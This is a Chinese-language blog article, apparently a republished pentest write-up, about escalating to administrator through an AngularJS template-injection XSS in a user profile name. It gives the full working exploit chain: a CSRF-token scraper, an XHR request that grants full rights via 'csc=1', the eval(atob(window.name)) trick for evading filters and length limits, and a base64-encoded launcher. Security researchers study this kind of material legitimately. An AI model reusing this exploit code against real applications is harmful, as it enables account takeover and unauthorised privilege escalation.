您好,登錄后才能下訂單哦!
這篇文章將為大家詳細(xì)講解有關(guān)基于AngularJS如何利用XSS實(shí)現(xiàn)提權(quán),文章內(nèi)容質(zhì)量較高,因此小編分享給大家做個(gè)參考,希望大家閱讀完這篇文章后對相關(guān)知識(shí)有一定的了解。
XSS是一個(gè)非常有趣的漏洞,在發(fā)現(xiàn)它之后,你可以直接與應(yīng)用程序進(jìn)行通信,而無需擔(dān)心同源策略。一切都在我們的控制之中,大部分保護(hù)都被打破了。
管理員用戶擁有應(yīng)用程序的最高權(quán)限可以對任意用戶執(zhí)行添加/刪除/編輯操作。而我最終得以提升到管理員權(quán)限就是通過XSS做到的。每當(dāng)我發(fā)現(xiàn)XSS,我都會(huì)嘗試使用一些獨(dú)特的方式來利用它們。令牌抓取,CSRF保護(hù)繞過或是抓取cookie,現(xiàn)在看來已經(jīng)顯得有些過時(shí)。
在我的測試期間,在用戶配置文件頁面我發(fā)現(xiàn)了多個(gè)XSS漏洞。每個(gè)注冊用戶都有不同的配置文件頁面,如“https://www.site.com/users/username-here”。
這是一個(gè)所有特權(quán)用戶均可訪問包含用戶帳戶名和姓的頁面。應(yīng)用簡單的測試探針,如"><img src=x onerror=prompt()>并沒有顯示任何結(jié)果,所以這說明該應(yīng)用已做了適當(dāng)?shù)腦SS保護(hù)。所有特殊字符都被正確過濾,這引發(fā)了我的另一思考,為什么不嘗試獲取基于AngularJS的XSS呢?轉(zhuǎn)到“ settings”并將帳戶名更改為“{{alert(1)}}”。
因此,我以不同的特權(quán)用戶身份測試了相同的內(nèi)容,并導(dǎo)航到了我的配置文件/users/username_page(任何用戶均可訪問)觸發(fā)payload。
當(dāng)嘗試提升權(quán)限時(shí),你的主要目標(biāo)是尋找能夠編輯你角色的功能或是邀請你進(jìn)入不受限區(qū)域的功能。在我的例子中,管理員用戶有權(quán)編輯/添加用戶。
在我的例子中,我有一個(gè)測試管理員帳戶來測試這些問題,所以我知道要添加一個(gè)新的管理員特權(quán)用戶需要復(fù)制什么請求。在沒有訪問權(quán)限的情況下,你只需嘗試通過發(fā)送document.body.innerHTML的輸出來獲取管理帳戶的源碼,并嘗試獲取有關(guān)內(nèi)部功能的信息??梢岳肵SSHunter和其他一些工具來獲取此類信息。
無論如何,用戶名字段的長度限制很短,因此無法在該字段中編寫整個(gè)漏洞利用代碼。用戶名還會(huì)將條目添加到配置文件頁面,此外它也會(huì)顯示為惡意內(nèi)容。同樣受限于長度,無法注入引用外部JavaScript的腳本標(biāo)記。
與往常一樣,我通過window.name提供payload。我總是通過window.name提供payload,因?yàn)樗鼪]有利用限制,加載我們的漏洞利用代碼的payload限制為20個(gè)字符,因?yàn)槲覀儗⒅患虞d給定的payload并將其提供給eval(atob(top.name))使用這種技術(shù)的另一個(gè)好處是,可以繞過繞過許多惡意關(guān)鍵字的驗(yàn)證檢查,因?yàn)槲覀兊闹饕┒蠢么a不會(huì)被輸入到易受攻擊的應(yīng)用程序中。因此簡而言之,我們的攻擊代碼不會(huì)被驗(yàn)證和檢查。
因此,可以通過使用window.open(url,"window name here") 打開一個(gè)URL來設(shè)置window name,我們將漏洞利用代碼設(shè)置為base64。因此,通過調(diào)用window.name,它將返回我們的漏洞代碼,這些代碼將由eval()執(zhí)行
此功能發(fā)現(xiàn)于管理用戶門戶,并且最高權(quán)限用戶能夠任意更改應(yīng)用程序中用戶的數(shù)據(jù)和權(quán)限。這里有不同的選項(xiàng),如電子郵件更改和復(fù)選框,以確認(rèn)用戶是否具有更高的權(quán)限。通過設(shè)置參數(shù)“csc=1”,用戶將被授予full權(quán)限,但此操作只能由管理員用戶執(zhí)行。如果僅檢索源碼,則可以通過執(zhí)行源碼審查來了解哪些端點(diǎn)采用哪些參數(shù)來映射所有功能。
以下是將用戶修改為管理員和完全權(quán)限用戶的請求:
POST /users/attackers-username HTTP/1.1 Host: vulnerablesite.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 141 _method=PUT&_token=CSRF_TOKEN_HERE&name=USERNAME&email=USER_EMAIL&phone=&csc=1
為了提升我們的權(quán)限,應(yīng)該再現(xiàn)以上請求,這樣當(dāng)更高權(quán)限用戶訪問我們的漏洞利用代碼時(shí),我們的用戶將被修改。
我們首先要檢索的是CSRF令牌,這樣我們就可以驗(yàn)證請求。有時(shí)它會(huì)出現(xiàn)在cookie中,因此從document.cookie中檢索它非常容易,但在本例中,是在一個(gè)meta標(biāo)記中找到的:
<meta name="CSRF_TOKEN" content="TOKEN_HERE">
我使用fetch()打開了位于/settings的設(shè)置頁面,并將其輸出存儲(chǔ)在變量woot中。然后我使用woot.getElementsByTagName('meta')[3]['content']來檢索CSRF令牌的值,并將其存儲(chǔ)到新變量csrf_token中,現(xiàn)在我們的漏洞利用代碼如下:
var woot = document.createElement('html'); fetch('https://vulnerablesite.com/settings',{credentials: 'include'}).then((resp) => resp.text()).then(function(data){ woot.innerHTML=data; var csrf_token = woot.getElementsByTagName('meta')[3]['content'] ... ... ...
現(xiàn)在我們將使用XHR重現(xiàn)請求:
function privilege_escalate(){ var req = new XMLHttpRequest(); req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true); req.withCredentials = true; req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1'); }
上面的privilege_escalate()函數(shù)在執(zhí)行時(shí)將發(fā)送一個(gè)POST請求,該請求將更改攻擊者帳戶(在我的例子中為mrs-camylle-kertzmazevalwindowname)的信息,并將名稱更改為payload {{eval(atob(window.name))}}這將保留名稱,因此當(dāng)window.name具有漏洞利用代碼時(shí),它將用于從window.name執(zhí)行漏洞利用代碼。此外,該請求的csc=1這將更改用戶的權(quán)限。
// XSS Exploit code for Privilege Escalation // Author: Shawar Khan var woot = document.createElement('html'); fetch('https://vulnerablesite.com/settings',{credentials: 'include'}).then((resp) => resp.text()).then(function(data){ woot.innerHTML=data; var csrf_token = woot.getElementsByTagName('meta')[3]['content']; privilege_escalate(); function privilege_escalate(){ var req = new XMLHttpRequest(); req.open('POST','https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname',true); req.withCredentials = true; req.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); req.send('_method=PUT&_token='+csrf_token+'&name=Mrs.+Camylle+Kertzmaz%7B%7Beval%28window.name%29%7D%7D&email=user%40example.org&phone=&csc=1'); } } )
漏洞利用代碼可進(jìn)一步base64編碼并用作window name,因此當(dāng)eval(atob(window.name))執(zhí)行該代碼時(shí)將觸發(fā)它。我們現(xiàn)在可以使用以下代碼打開我們的配置文件頁面,并將我們的漏洞利用代碼設(shè)置為window name。這樣,一旦訪問了window.name,我們的漏洞利用代碼就會(huì)被觸發(fā):
<script>window.open('https://vulnerablesite.com/users/mrs-camylle-kertzmazevalwindowname','dmFyIHdvb3QgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCdodG1sJyk7CmZldGNoKCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS9zZXR0aW5ncycse2NyZWRlbnRpYWxzOiAnaW5jbHVkZSd9KS50aGVuKChyZXNwKSA9PiByZXNwLnRleHQoKSkudGhlbihmdW5jdGlvbihkYXRhKXsKCndvb3QuaW5uZXJIVE1MPWRhdGE7CnZhciBjc3JmX3Rva2VuID0gd29vdC5nZXRFbGVtZW50c0J5VGFnTmFtZSgnbWV0YScpWzNdWydjb250ZW50J107CnByaXZpbGVnZV9lc2NhbGF0ZSgpOwoKZnVuY3Rpb24gcHJpdmlsZWdlX2VzY2FsYXRlKCl7CnZhciByZXEgPSBuZXcgWE1MSHR0cFJlcXVlc3QoKTsKcmVxL**wZW4oJ1BPU1QnLCdodHRwczovL3Z1bG5lcmFibGVzaXRlLmNvbS91c2Vycy9tcnMtY2FteWxsZS1rZXJ0em1hemV2YWx3aW5kb3duYW1lJyx0cnVlKTsKcmVxLndpdGhDcmVkZW50aWFscyA9IHRydWU7CnJlcS5zZXRSZXF1ZXN0SGVhZGVyKCJDb250ZW50LVR5cGUiLCAiYXBwbGljYXRpb24veC13d3ctZ**ybS11cmxlbmNvZGVkIik7IApyZXEuc2VuZCgnX21ldGhvZD1QVVQmX3Rva2VuPScrY3NyZl90b2tlbisnJm5hbWU9TXJzLitDYW15bGxlK0tlcnR6bWF6JTdCJTdCZXZhbCUyOHdpbmRvdy5uYW1lJTI5JTdEJTdEJmVtYWlsPXVzZXIlNDBleGFtcGxlL**yZyZwaG9uZT0mY3NjPTEnKTsKfQoKfQop')</script>
在以下截圖中我們可以看到,我們的用戶可以訪問的功能受限:
而在高權(quán)限用戶成功執(zhí)行漏洞利用代碼后,我們的帳戶擁有了最高權(quán)限以及對管理功能的訪問權(quán)限。如下圖所示:
每當(dāng)測試XSS漏洞時(shí),千萬不要因?yàn)閼?yīng)用程序?qū)τ脩糨斎氲恼_過濾而放棄。你應(yīng)該進(jìn)一步的通過嘗試使用其他技術(shù)來實(shí)現(xiàn)對XSS的有效利用。例如本文中提到的XSS。嘗試使用{{alert(1}}或嘗試上傳.swf,.svg,.html,.url等文件。
永遠(yuǎn)不要停留在漏洞的檢測上,總是試著去了解它的局限性和范圍。在面對XSS時(shí),嘗試與獨(dú)特的功能進(jìn)行交互,而不僅僅只是一個(gè)彈窗。
關(guān)于基于AngularJS如何利用XSS實(shí)現(xiàn)提權(quán)就分享到這里了,希望以上內(nèi)容可以對大家有一定的幫助,可以學(xué)到更多知識(shí)。如果覺得文章不錯(cuò),可以把它分享出去讓更多的人看到。
免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報(bào),并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。